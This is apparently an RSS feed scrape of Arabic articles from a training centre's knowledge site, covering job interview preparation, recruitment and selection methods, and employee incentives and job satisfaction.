وفيها يتم إجراء مقابلة لعدد كبير من المتقدمين لشغل نفس الوظيفة ويتم طرح موضوع معين لمناقشته خلال المقابلة ويكون الهدف من هذه المقابلة هو معرفة مدى قدرتك على التجاوب مع الآخرين والتفاعل مع البيئة المحيطة والقدرات الفردية التي تمتلكها ويتم تحديد مقابلة أخرى لمن يجتاز هذه المقابلة .

المقابلة الانتقائية:
وفيها يتم انتقاء بعض الأشخاص غير المرغوب فيهم نتيجة وجود تضارب في البيانات التي تحتوى عليها السيرة الذاتية أو الأشخاص الاقل خبرة وكفاءة ويتم عمل مقابلة شخصية روتينية لهم .

كيف تستعد للمقابلة الشخصية:
ابدأ بجمع المعلومات عن الشركة التي ستلتحق بها خاصة ما يتعلق بنشاطها وفروعها بحيث تكون ملماً بالجزء الأكبر من المعلومات حول الشركة فهذه المعلومات سوف تعطيك قدر اكبر من الثقة بنفسك وستعطى صاحب العمل انطباع جيد عنك وعن قدراتك واستعداداتك للعمل لدي شركته، وهذه المعلومات يمكن لك الحصول عليها من موقع الشركة على الانترنت أو من الأخبار التي تنشر عنها في الصحف أو حتى من إعلانات الشركة بوسائل الإعلام فلا مانع من إن تقوم بجزء من وظيفة العلاقات العامة بالشركة والمتمثل في جمع المعلومات المنشورة عنها بحيث يمكنك مناقشة بعض منها مع صاحب العمل خلال المقابلة الشخصية .

1- حدد الأسئلة المألوفة في مثل هذه اللقاءات وتدرب على الإجابة عليها قبل اللقاء.

2- حدد النقاط التي تريد الاستيضاح عنها من صاحب العمل ودونها في مفكرة واسترجعها قبل المقابلة ثم استفسر عنها بعد أن ينتهي صاحب العمل من الحديث.

3-احرص على ترك انطباع جيد لدى صاحب العمل فالانطباعات الأولى غالبا ما تدوم .

4- اختار الألفاظ والكلمات بشكل دقيق خاصة إذا احتجت لمصطلح أجنبي.

5-تجنب الحركات الجسمانية السلبية كهز الساقين أو ثنى الذراعين ووضعهما متشابكين

6-احرص على وجود ورقة وقلم معك لكتابة اى معلومة هامة

7-يجب أن ترتدي ملابس مناسبة ويفضل ارتداء البذلة الكاملة .

8-يجب أن تراعى أن تكون في أجمل هيئة وفى قمة الأناقة .

9-يجب ان تحرص على الوصول إلى مكان المقابلة قبل الموعد المحدد بفترة كافية .

10-انقر على الباب نقراً خفيفاً قبل الدخول .

11-ابدأ بإلقاء التحية على مديرك وصافحة بصورة غير متكلفة ثم اجلس .

12-حافظ على ابتسامة خفيفة على وجهك أثناء اللقاء .

13-حاول ان تصغي لكل كلمة صغيرة أو كبيرة يقولها المدير ولا تنشغل عنه بالتطلع إلى التابلوه الموجود خلفة أو غير ذلك .

14-الثقة في النفس والابتعاد عن الغرور والتصنع .

15-استخدم نبرة صوت متزنة بحيث لا تكون مرتفعة أو منخفضة ولا تتردد في الكلام .

 

16-عدم الحديث عن الراتب قبل ان يذكره المدير ويفضل عدم تحديد راتب معين لأنه سلاح ذو حدين.

17- حاول أن تؤكد انك حريص على العمل في هذا المجال والتعاون مع الشركة حتى لو كانت شركة حديثة

18-لا تبادر بمصافحة صاحب العمل عندما تهم بالانصراف إلا إذا رغب هو في ذلك حتى لا تتسبب في إحراج نفسك .

19-كن حريصا جدا عندما تهم بالانصراف وتجنب الاصطدام بالكراسي أو أي شيء موجود بالمكتب لأنه يعطى انطباعاً سلبياً.

***

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمي لمهارات اجراء المقابلات

بقلم د/ محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/interview_skills-2/feed/ 0 سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الأولى https://cameknowledge.camecenter.com/articles/interview_skills-1/ https://cameknowledge.camecenter.com/articles/interview_skills-1/#respond Sat, 08 Apr 2023 13:01:26 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10446 سلسلة مقالات – مهارات اجراء المقابلات بقلم د/ محمود الضابط   المقالة الأولى المقدمة           تعتبر عملية التوظيف من أهم أنشطة إدارة الموارد البشرية بل المنظمة لأنها تهدف إلى توفير أفضل العناصر من ذوي الكفاءات والمؤهلات الممتازة. وتعود أهمية عملية التوظيف لإدارة الموارد البشرية في منع أو التقليل من توظيف الشخص الخطأ (الغير مناسب) والذي […]

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – مهارات اجراء المقابلات

بقلم د/ محمود الضابط  

المقالة الأولى

المقدمة

          تعتبر عملية التوظيف من أهم أنشطة إدارة الموارد البشرية بل المنظمة لأنها تهدف إلى توفير أفضل العناصر من ذوي الكفاءات والمؤهلات الممتازة. وتعود أهمية عملية التوظيف لإدارة الموارد البشرية في منع أو التقليل من توظيف الشخص الخطأ (الغير مناسب) والذي سيكلف المنظمة الكثير جدا. فبالإضافة إلى تكلفته على المنظمة من حيث الراتب والبدلات فهناك تكلفة قد تكون أضعاف أضعاف ذلك والتي تترتب على الخسائر الناتجة عن القرارات الخاطئة التي يقوم بها الشخص المعين وقد تصل إلى خسارة المنظمة بعض حصتها في السوق بالإضافة إلى خسائر أخرى قد تلحق بالمنظمة .

           وتحتاج كل مؤسسة للاستعانة بالموارد البشرية المؤهلة لتأدية المهام التي تحقق أهدافها ، من هنا تأتي حاجة المؤسسة إلى استقطاب واختيار طالب الوظيفة الأنسب لتأدية الأعمال ، بمعنى اختيار الشخص المناسب للوظيفة المناسبة.

    ويلجأ رجال الصناعة ورجال الأعمال إلى استخدام المقابلات على نطاق واسع، ولا يقوم بإجرائها المتخصصون في العلاقات الشخصية فقط، بل يُجريها المشرفون والإداريون أيضاً،ليتعرفوا على حقيقة رجالهم لكي يُعززوا عملية التوافق المهني لمرؤوسيهم ، ولا تقف  المقابلة الشخصية عند حدود السعي لممارسة الوظيفة ، بل تتعداها إلى عمليات الوظيفة الأخرى مثل،مقابلة العلاقات المهنية لتقرير النتائج الخاصة بالاتجاهات وظروف العمل ،ومقابلة تحليل العمل،ومقابلة توجيهية، بل ومقابلة الفصل، وكلها تستخدم نفس الوسائل في مقابلة التوظيف إلى حد كبير.

     زار براندنبرج brandenburg واحداً وعشرين مكتباً للعمل،ثم وصف أحسن وأسوأ المقابلات التي رآها… ويذكر أن إحدى المقابلات لم تستغرق أكثر من دقيقتين رغم أن الطالب جاء إلى المكتب من مكان يبعد عنه عشرة أميال وقضى ساعتين ونصف ساعة ينتظر دوره إلى المقابلة.(بنجهام  ومور).  

     إن من صور عدم النجاح للمنظمات غياب فلسفة الخط الاستراتيجي لتبني القيادات وغياب نُظم انتقاء واختيار وتقييم الراغبين في العمل ، الذين سوف يكونون الصف الثاني في المنظمة، فكيف يتم تحديدهم ؟ما هي المعايير ؟كلها أسئلة تحتاج إلى إجابات….( توفيق 1996م).

    و تُعد مقابلات التوظيف أحد أنواع الاختيار ، وهي تُشكل العمود الفقري لعملية التوظيف لأنها تتيح الفرصة لكلا الطرفين   (المؤسسة والمرشح ) لتقييم كل منهما للآخر ، ومن ثم :

  • اقتناع المؤسسة بصلاحية المرشح لشغل الوظيفة الشاغرة من جهة .
  • واقتناع المرشح بمناسبة الوظيفة والمؤسسة لطموحاته وتطلعاته من جهة أخرى.

لذلك فإن إتباع الأساليب الصحيحة للتحضير ولإجراء مقابلات التوظيف يضمن نجاح المؤسسة في اختيار العناصر ذات الكفاءة .

    ومقابلات التوظيف مهمة جداً لأنها من أكثر إجراءات الاختبار استخداماً في الحكم على كفاءة المتقدمين لشغل الوظائف بالمنظمة ، وهناك نسبة مرتفعة من المنظمات تبلغ 70% تستخدم الأنواع المختلفة من المقابلات في تقييم الكفاءة لشغل الوظائف ، وقد أجرى دراسة على 852 منظمة واتضح من نتائجها أن 99% من تلك المنظمات تعتمد على مقابلات التوظيف كأحد إجراءات اختبار العاملين بها ، وقد كان يُنظر إلى المقابلة أنها أداة أقل صلاحية في الحكم على الكفاءة ، لكن هذه النظرة تغيرت باعتبارها من أكثر المؤشرات صلاحية في التنبؤ بمستوى أداء الفرد في الوظيفة  ( جاري ديسلر ـ  2003م).

   وتكاد تكون المقابلات الشخصية الوسيلة الأكثر انتشاراً للاختيار، وخاصة لشغل الوظائف الإشرافية والعليا.( رشيد . مازن 1425هـ).

           وتُعتبر المقابلة الشخصية وسيلة شائعة الاستخدام ، ويندر أن يكون هناك برنامج للاختيار والتعيين دون أن يتضمنها،وهو من أقدم الأساليب المستخدمة في الاختيار(حميد.محمد عثمان 1993م). 

 وتقتضي عملية تعيين الأشخاص دراسة مسبقة ودقيقة للوصف الوظيفي والمواصفات الوظيفية (مواصفات الشخص الذي سيشغل الوظيفة) وكذلك دراسة والتعرف على مصادر الموارد البشرية والأخذ بعين الاعتبار الجانب الأخلاقي في عملية التوظيف .

  • مفهوم الاختيار والتعيين:

           هو العمل الذي يتم بموجبه انتقاء أفضل و أنسب المتقدمين للتوظف في المنظمة، لشغل وظائف خالية فيها، و ذلك على أساس موضوعي و عادل، و في ضوء شروط و مواصفات معينة مطلوب توافرها فيهم، يجري تحديدها من خلال متطلبات هذه الوظائف الشاغرة و من أجل تحقيق غاية أساسية هي: تمكين الفرد من أداء مهام وظيفته بكفاءة، و تحقيق أهداف المنظمة و أهدافه من خلال ارتفاع إنتاجية الأفراد بوجه عام .

  • أهداف الاختيار والتعيين:

1- اختيار أفضل القدرات والمهارات

2- تطوير آلية العمل لرفع كفاءة وأساليب العمل

تحقيق الاستقرار الوظيفي للعاملين 3-

4- الاحتفاظ بالقوي العاملة المنتجة وتفضيل القوي المحلية

5- تحقيق التوازن بين العرض والطلب

6- تنفيذ الخطط الخاصة بالتوظيف علي حسب المراحل الزمنية المعدة مسبقا

7- وضع معايير حديثة لاختيار والتعيين مرتبطة بالاحتياجات

  • من الذي يقوم بالاختيار والتعيين ؟

يقوم المديرون التنفيذيون بعمليات الاختيار ، وذلك في المنظمات الصغيرة ، أما في المنظمات الكبيرة ، فإن قرار الاختيار ، يشترك فيه أكثر من طرف ، فإدارة الموارد البشرية تقوم بالإجراءات ، وتقدم أدوات الاختيار ، وتقوم بتدريب المديرين التنفيذيين على تطبيقها ، ويتعاون المديرون التنفيذيون مع إدارة الموارد البشرية في الاختيار ، خاصة مرحلة الاختيار النهائي .

  • خطوات عملية الاختيار:

1- الإعلان عن الشاغر الموجود لدى المنظمة .

2-  تلقي الطلبات والسير الذاتية .

3- تصفية الطلبات وحصر المناسب منها .

4- إجراء مقابلات مبدئية .

5- إجراء اختبارات تتفق مع طبيعة العمل .

6-  إجراء المقابلات الرسمية .

7-  إجراء المفاضلة بين المتقدمين الذين اجتازوا المقابلة الشخصية .

8- القيام بعملية التوظيف مع فترة تجربة .

9- إعداد العاملين (تدريبهم وتعريفهم على العمل والزملاء).

10- تثبيت الأشخاص الذين اجتازوا فترة التجربة بنجاح. 

  • اختبارات التوظيف:

أصبحت كثير من المنظمات تستخدم اختبارات التوظيف حيث أن هذه الاختبارات تساعد على التنبؤ بقدرة الشخص وأداءه في المستقبل. ويجب أن لا يعتمد على هذه الاختبارات بالكلية (بمفردها) في عملية التوظيف بل تكون مساعدة في عملية الاختيار والتوظيف ويمكن استخدام هذه الاختبارات في عملية التوظيف الداخلي (ترقية الموظفين) والتوظيف الخارجي. 

  • أنواع اختبارات التوظيف :  

اختبارات القدرة على الإنجاز
يقيس هذا النوع من الاختبارات مقدرة الشخص على تأدية العمل وخبرته في فنون مهنته.
اختبارات الشخصية
يهدف هذا النوع من الاختبارات إلى الكشف عن جوانب شخصية الفرد لمعرفة مدى ملائمتها لطبيعة الوظيفة. ومن المعلوم انه من الصعب التنبؤ بدقة الجوانب الشخصية مثل الأمانة والصدق … الخ.

اختبارات ميول الشخص وتوجهاته
يقيس هذا النوع من الاختبارات رغبة وميل الشخص بالقيام بالعمل الذي سيسند إليه ومدى درجة اندماجه مع ذلك العمل. ويساعد هذا النوع من الاختبارات الأفراد على اكتشاف العمل الذي يتناسب مع قدراتهم وميولهم. 

اختبار الذكاء (القدرات الذهنية )
تقيس هذه الاختبارات القدرات الذهنية والذكاء وطريقة تفكير الفرد لمواجهة مشاكل العمل وصحة الحكم على الأشياء فالهدف هو التعرف على مستوى ذكاء الفرد ومقارنته مع المستوى المطلوب للوظيفة.
اختبار القدرات
يقيس هذا النوع من الاختبارات قدرة المتقدم للعمل على التذكر والتعبير والابتكار.

  • خصائص الاختبار الجيد:

1- استبعاد العبارات الغامضة وان يكون سهل الفهم .

2- أن يكون الاختبار قادر على الحكم على مقدرة الشخص من حيث الكم والنوع.
3- أن يكون الاختبار أمينا في قياس مقدرة الفرد وان يكون معتدل.
4- أن يتميز الاختبار بالثبات
5- أن يكون الاختبار صالحا لقياس ما صمم من اجله.

6- أن يتميز الاختبار بالموضوعية.

  • مقابلات الاختيار والتوظيف:

تعتبر المقابلات إحدى طرق الاختيار والتعيين والتي من خلالها يتم التعرف على مدى صحة ومطابقة المعلومات التي قدمها الشخص من معلومات وخبرات من خلال المراحل التي تمت في عملية الاختيار. وبالمقابلة يتم التعرف على الشخص وصفاته التي قد لا يتم بالطرق الأخرى وبالتالي يمكن اخذ قرار فيما إذا كان الشخص مناسب أم لا.

 

 

مقابلة التوظيف وموقعها في عملية التوظيف:

    مقابلة التوظيف :

            هي اللقاء الذي يتم بين مسئول أو أكثر في المؤسسة من جهة ، وبين مرشح تقدم لشغل وظيفة شاغرة في المؤسسة، بهدف تقييم مدى صلاحية المرشح لشغل هذه الوظيفة.

تقوم هذه المقابلة على معادلة ثنائية الأطراف :-

  • المسئولين من المؤسسة : بهدف تقييم المرشح للتأكد من مدى أهليته للوظيفة
  • المرشح: الذي يحاول إثبات جدارته لشغل هذه الوظيفة.

تهدف المقابلة إلى:

  • تقويم المتقدم للعمل.
  • تزويد المتقدم بالمعلومات اللازمة عن المنظمة.
  • تنمية العلاقات مع الجمهور الخارجي.( أبو شيخة2000م).

فوائد مقابلات التوظيف :

  • تستخدم كوسيلة أولية لتصفية المتقدمين بالتأكد من الشروط اللازمة لديهم.
  • تعتبر وسيلة بديلة للامتحانات في اختيار المتقدمين لشغل الوظائف.
  • وسيلة مكملة للامتحانات للاختيار من بين الذين اجتازوا الامتحانات وإبراز جوانب لم تظهر في الاختبارات ولا تكشفها الامتحانات مثل( القدرة على الاتصال- التعبير عن الذات- اللياقة- الثقة بالنفس-القدرة على الإقناع…)
  • سد الثغرات الموجودة في بيان السيرة الذاتية للمرشح وفي طلب الوظيفة(غطاس ،ناصر وشركاوهم 1997م).

 

وهي تُحقق مزايا للمتقدمين منها:-

  • تعطي المتقدمين معلومات غير موجودة في نموذج التوظيف.
  • الاستيضاح عن استفسارات معينة حول بيئة العمل.

عيوب مقابلات التوظيف:

  • أداة غير دقيقة تماماً.
  • كثيراً ما يُساء استخدامها.
  • الوقت الكبير الذي تستغرقه إذا قُدمت بمعاييرها الصحيحة.

 

 

  • أنواع المقابلات

يمكن تصنيف المقابلات الشخصية إلى عدة أنواع :-

المقابلات الفردية:

    التي يجريها مقابل واحد أو عدد من المقابلين لمتقدم واحد.

المقابلات الجماعية:

    تُجرى لعدد من المتقدمين في آن واحد عن طريق شخص واحد أو أكثر، هي غير شائعة ،هدفها تقويم الخصائص الاجتماعية وسلوكه في مجموعات العمل.

المقابلات المتعاقبة:

    هي سلسلة مقابلات فردية تُجرى المقابلة للمتقدم من عدة أشخاص كل على حدة، واحداً تلو الآخر، كل مقابِل متخصص في مجال معين، تستخدم للحصول على صورة موسعة متعددة الجوانب عن المتقدم.، لكنها تأخذ وقتاً وجهداً كبيراً (داين براك2004).

المقابلات الهاتفية:

   أو الحاسب والانترنت ، لكن المقابلة وجهاً لوجه هي الأفضل، تعطي قراراً أكثر دقة في الاختيار. رغم أنه لا يُعد فعالاً بالشكل المطلوب ، قد يُلجأ إلى هذا النوع عندما يُختار موظفين من مدينة أخرى ولا يتمكن المتقدمون من حضور المقابلة الشخصية .

  • أساليب اجراء المقابلات


المقابلة التمهيدية

          يجري هذا النوع من المقابلات للحصول على بيانات ومعلومات أولية ويمكن أن يتم تعبئة طلب التوظيف الخاص بالمنظمة خلال هذه المقابلة.


المقابلة النموذجية

          تجري هذه المقابلة عن طريق استخدام نموذج يحتوي على أسئلة صممت للحصول على معلومات ضرورية وهذا النموذج يقدم لجميع المتقدمين للوظيفة ويحقق المساواة للجميع. 

المقابلة الفردية

           يتم اللقاء بالمقابلة بين كل من المتقدم للوظيفة وموظف من قبل المنظمة وفي الغالب ما يميز هذا النوع من المقابلات التفاعل والتركيز الجيد من قبل الطرفين. 


المقابلة الجماعية
لا يقتصر العدد في هذه المقابلة على شخصين كما في المقابلة الفردية بل يتكون من مجموعة من الأفراد والتي تمثل أحد الأشكال الثلاثة التالية:
•متقدم واحد للوظيفة مع اثنين أو أكثر من طرف المنظمة (ممثلين للمنظمة(  .
• مجموعة (اثنين أو أكثر) من المتقدمين للوظيفة مع شخص واحد من طرف المنظمة.

  • مجموعة (اثنين أو أكثر) من المتقدمين للوظيفة مع مجموعة (لجنة) منالأشخاص   من طرف المنظمة.

المقابلة الانفعالية (الضغط)

     يستعمل هذا النوع من المقابلات لخلق جو من التوتر لدى الأفراد المرشحين ليتعرف على مد يتطلب إجراءها تدريباً عالياً،تستخدم عادة مع الوظائف التي يتعرض شاغلوها لضغط كبير يحتاج إلى اتزان ، طورت قبل الحرب العالمية الثانية من قبل الألمان ، تقوم على خلق نوعاً من الضغط والتوتر والقلق والاستفزاز للشخص لمعرفة طريقة تعامله ، يستخدم في وظائف المخابرات وما شابهها ( رشيد.مازن- 1425هـ).

   تُستخدم حينما يكون ضغط العمل سريعاً يرهق حتى الفني المحترف يقيس كيف يتصرف المرشح في أكثر المواقف سوءاً، لا يكون في المقابلة كلام ودي بل الدخول مباشرة إلى لب الموضوع، لأن هناك متطلبات سيكولوجية ،هل سيفقد سيطرته على نفسه ومتى؟ الضغط عليه ليقول أشياء غير حقيقية وإبداء الشك فيما حققه من إنجازات؟ هل سيبقى رابط الجأش ؟ هل سيبقى محتفظاً بنبرة صوته؟(فراي.رون 2004)  ى تحمل وطبيعة تصرف الشخص أثناء جو من التوتر وفي ظل وجود مشاكل. 

المقابلة الموجهة
حيث يتم التركيز في هذا النوع من المقابلات على توجيه الأسئلة من المقابل (ممثل المنظمة) وعلى المتقدم الإجابة عن هذه الأسئلة وبالتالي لا يتوفر في هذا النوع من المقابلات المرونة في المقابلة. 

  • وميزة هذا النوع:

عندما لا يتمتع المسئول عن المقابلة بمهارة ومؤهلات الأسلوب المفتوح.

ابتعاده عن الأحكام الشخصية المنحازة.

 تحديد الوقت للمقابلة،وتحديد المعلومات التي يحتاجها….

  • عيوبها: –

جعلها مثل الاستجواب ودفع المرشح لمواقف الدفاع دون الآراء الصريحة.

لا توجد معرفة للآراء والأفكار بين المسئول والمرشح.

عدم التطرق لأسئلة قد يلزم الإجابة عليها بناء على إجابته… ( غطاس. ناصر 1997م).


المقابلة الغير موجهة

        يتسم هذا النوع من المقابلات بالمرونة في الأسئلة ولا يوجد تقيد بمعلومات محددة يجب الحصول عليها. وهذه الطريقة على العكس من المقابلة الموجهة.

  • يتم تصنيف أو فرز النتائج النهائية ويتم بعد ذلك اعتمادها من قبل الإدارة العليا.
  • يتم إعلام المقبولين للتعيين عن طريق البريد أو الهاتف أو البريد الإلكتروني انه قد تم قبولهم للتعيين.
  • يتم الاعتذار لغير المقبولين. 
  • تحضير كتاب التعيين.
  • يحدد تاريخ ووقت التعيين.
  • يـتم إتمام إجراءات التعيين والفحص الطبي ويعبأ طلب التوظيف ويوقع عقد العمل ويصدر كتاب التعيين من قبل الإدارة ويتم تعيينه.
  • يرسل الموظف إلى الادارةالمعنية للبدء بالعمل ويرسل كتاب مباشرة العمل من قبل مدير الادارة أو لقسم المعني للمالـية حتـى يتم إدراج اسم الموظف على سجل الرواتب وذلك حسب نموذج مباشرة عمل.

***

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمي لمهارات اجراء المقابلات

بقلم د/محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/interview_skills-1/feed/ 0 سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الخامسة https://cameknowledge.camecenter.com/articles/integrated_pay_program-5/ https://cameknowledge.camecenter.com/articles/integrated_pay_program-5/#respond Sat, 08 Apr 2023 12:24:28 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10444 سلسلة مقالات – البرنامج المتكامل في الأجور بقلم د/محمود الضابط   المقالة الخامسة مقومات فاعلية نظام الحوافز يتطلب نظام الحوافز – بشكل عام – توافر عدة مقومات أساسية تكفل أن يسهم هذا النظام فى رضاء العاملين عن إعمالهم وزيادة إنتاجيتهم وولائهم للمنظمة .وتتمثل هذه المقومات فى: دراسة الإدارة للعاملين ( شخصياتهم ومشكلاتهم الاجتماعية والعملية ). […]

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – البرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

المقالة الخامسة

مقومات فاعلية نظام الحوافز

يتطلب نظام الحوافز – بشكل عام – توافر عدة مقومات أساسية تكفل أن يسهم هذا النظام فى رضاء العاملين عن إعمالهم وزيادة إنتاجيتهم وولائهم للمنظمة .وتتمثل هذه المقومات فى:

  • دراسة الإدارة للعاملين ( شخصياتهم ومشكلاتهم الاجتماعية والعملية ).
  • اختيار مزيج الحوافز المناسبة والفعالة .
  • تقديم نظام الحوافز بشكل واضح للعاملين وإقناعهم بمزاياه
  • التقييم المستمر للنظام بما يضمن تقديمه لنفس المستوى من المزايا لكل من الإدارة والعاملين.

الرضاء والإنتاجية

لا يمكن رفع معدلات الإنتاجية البشرية فقط من خلال المداخل الفنية مثل تطوير الآلات أو أجهزة أو الأدوات أو تحسين أو تبسيط طرق وإجراءات العمل أو ترشيد معايير الأداء وإنما يتطلب الأمر أيضا الاهتمام بالجوانب النفسية للعاملين والعاملات الاهتمام برفع روحهم المعنوية أي بتحقيق وزيادة رضائهم والرضاء هو حالة نفسية يشعر بها الفرد وفقا لدرجة إشباع حاجاته فكلما زادت هذه الدرجة زاد الرضا وتتعدد المجالات التى تكون موضعا لرضاء الفرد – فى العمل – أو عدم رضائه وأهم هذه المجالات :

  1. العمل نفسه من حيث مدى تناسبه مع الميول والقدرات ومدى وضوح الدور المطلوب من الموظف .
  2. مسمى الوظيفة فهذا قد يكون باعثا على الرضاء ومسهما فيه أولا يكون .
  3. فرص التدريب والتطوير.
  4. فرص الترقي .
  5. نمط الإشراف .
  6. ظروف العمل المادية ( مثل الإضاءة والتهوية والنظافة وساعات العمل وفترة أو فترات الراحة ).
  7. صحبة العمل والعلاقة معها .
  8. الأجر وملحقاته .

وكلما أشبعت حاجات الفرد فى مجال العمل وقدم له مزيج الحوافز المناسب أسهم ذلك فى رضائه وساعد على إثارة دافعيته أي حثه وحفزه نحو الأداء الفاعل وحيث يعد الرضاء عن العمل محصلة لكل من قيمة الحوافز المشبعة مدى إدراك الفرد لعدالتها .

لكن يثور هنا تساؤل هام. وهو : هل يؤدى رضاء الفرد لزيادة إنتاجية ؟ هل العلاقة طردية بين تزايد الرضاء وتزايد الإنتاجية ؟قد تبدو الإجابة للوهلة الأولى نعم لكن الأمر ليس بهذه البساطة لنتأمل الحالات التالية التى يمكن أن تحدث فى هذا الصدد .

  1. قد يزيد الرضاء ولا تزيد الإنتاجية ولعلنا نتذكر كيف تهيأت للعاملين فى شركات القطاع العام المصرى بعد عام 1961 مزايا عديدة مثل أجور مجزية ومشاركة بالأرباح وامن وظيفى قوى ضد الفصل وخدمات اجتماعية وما إلى ذلك لكن الإنتاجية لم ترتفع كما كان مأمولا وتعود أهم أسباب هذه الحالة ( تزايد الرضا مع عدم تزايد الإنتاجية ) لأسباب منها تواضع الولاء والانتماء للمنظمة أو انخفاض مستوى القدرات بالنسبة لمتطلبات العمل أو انخفاض فاعلية القيادة الإدارية ونظم العمل بالمنظمة بشكل عام .

 

  الرضا ء الإنتاجية
1)     + –
2)     – +
3)     + +
4)     – –
نموذج (1)
العلاقة غير طردية بالضرورة بين الرضاء والإنتاجية

 

  1. وقد ينخفض الرضاء ، لكن تزيد الإنتاجية وتعود أهم أسباب هذه الحالة ، إلى يقظة ضمير الموظف أو الموظفة كأن يقول ” أنى أخاف الله لا أقبل أجراً دون أن أقدم عملاً أو قد يرى الموظف أن وظيفته هى فرصته الوحيدة فلا وظيفة أخرى متاحة أو قد يخشى الموظف بطش رئيسه الإوتوقراطى الصارم هذا لافتراض توافر القدرات التى تتطلبها الوظيفة فى الموظف.
  2. وقد يزيد الرضاء وتزيد الإنتاجية وذلك عندما يسهم الرضاء المرتفع فى تهيئة ولاء الموظف وانتمائه للمنظمة وتقارب أو توحد أهدافه مع أهدافها وعندما تتوافر القدرات اللازمة أو تتزايد بزيادة فرص التدريب الفاعل .
  3. وقد ينخفض الرضاء وتنخفض الإنتاجية وذلك عندما يؤدى انخفاض الرضاء لانخفاض دافعية الفرد للعمل ويزيد الأمر سوءاً إذا اقترن ذلك بتواضع فرص التدريب أو بسوء نمط القيادة أو غير ذلك من العوامل المقللة لمستو الرضاء فى مجالات الرضاء سالفة الذكر .

آثار انخفاض الرضاء

عندما تنخفض درجة رضاء الفرد يؤدى ذلك لآثار سلبية على الأداء وكذا على معدل دوران العمالة وتتنوع هذه الآثار السلبية لتشمل :

  • الاستمرار فى الخدمة لكن دون أداء فاعل مثمر .
  • أو الاستمرار فى العمل لكن بسلوك سلبي أو معاكس يؤثر سلباً على فاعلية الأداء الفردي والجماعى .
  • أو ترك العمل مما يسهم فى رفع معدل دوران العمالة .

خذ مثلاً موظفة تفتقد الانسجام الاجتماعي مع صحبة العمل فى قسمها لذا تسعى لتكوين علاقات أو صداقات مع أخريات فى قسم أو أقسام أخرى بالمنظمة فتمضى جزءاً غير قليل من وقت العمل فى الحديث معهن وتضيع وقتها ووقتهن مما يؤثر سلباً على الأداء خذ مثلا ثانياً موظف يفتقد الإشباع المادى و/أو المعنوى فيتجه للسرقة وعدم الأمانة بصورها مثل سرقة الأموال أو الوثائق والمعلومات أو تحريف الأقوال أو المعلومات …الخ وفى مثال ثالث يمكن أن تجد موظفا ساخطاً يحدد لنفسه (أو للآخرين أيضاً ) معدلات أداء على مزاجه تكون أقل من مستويات الأداء المطلوبة أو المفترض الالتزام بها ويحاول حث زملائه على التباطؤ فى الأداء المعيب أو كليهما وقد يلجأ البعض الآخر لإشباع بعض حاجاته من خارج محيط العمل بأن يتجه لعمل آخر خارجي يؤثر سلبا على أدائه بعمله الأصلي فى المنظمة .

ومن السهل ملاحظة مستويات معنويات العاملين والعاملات سواء كانت مرتفعة أو عادية أو منخفضة وذلك من خلال الاتصال الشخصي السليم بين الإدارة أو الرؤساء وبين المرؤوسين والمرؤوسات والمعنويات ليست ثابتة وإنما هى ديناميكية يمكن أن ترتفع أو تنخفض من وقت لآخر بتأثير المعوقات التى تحول دون إشباع الحاجات الإنسانية أو الايجابيات التى تسهم في إشباعها لذا فمن المهم ان يستمر الرؤساء في قياس المعنويات واكتشاف المشكلات في هذا الصدد وتشخيصها وعلاجها من خلال أساليب الحفز الفاعلة .

الاستغراق الوظيفي

هو اتجاه سلوكي للفرد يعكس قدر أو مدى الارتباط بين كل من شخصية ووظيفته وبيئة الأداء ويعبر عن إدراكه لمدى أهمية وظيفته ودورها لحياته الشخصية وللمنظمة التى يعمل بها وكلما عظم هذا الدور زاد اعتزاز الفرد بوظيفته ورضائه عنها واستغراقه (انهماكه) في الوفاء بأهدافها ومتطلباتها وكلما زاد قدر الاستغراق الوظيفي لدى العاملين تتأثر متغيرات هامة للعمالة مثل : معدل الغياب ومعدل دوران العمل (يقلان ) والولاء للمنظمة ( يزيد ).

العوامل المؤثرة في الاستغراق الوظيفي

  • تصميم العمل من حيث تدوير العمل – تكبير العمل – إثراء العمل .
  • تنوع المهارات المتطلبة لأداء العمل كأن تكون مهارات متعددة و/ أو عالية المستوى .
  • استقلالية الأداء الوظيفي من حيث إمكانية الأداء دون الاعتماد على الرئيس المباشر وحرية التصرف وصنع القرار .
  • المعلومات المرتدة ، حيث إمكانية التعرف الذاتي للموظف على نتائج الداء وتتاح له فرصة إدراك مستوى جودة الداء من خلال تنفيذ العمل .
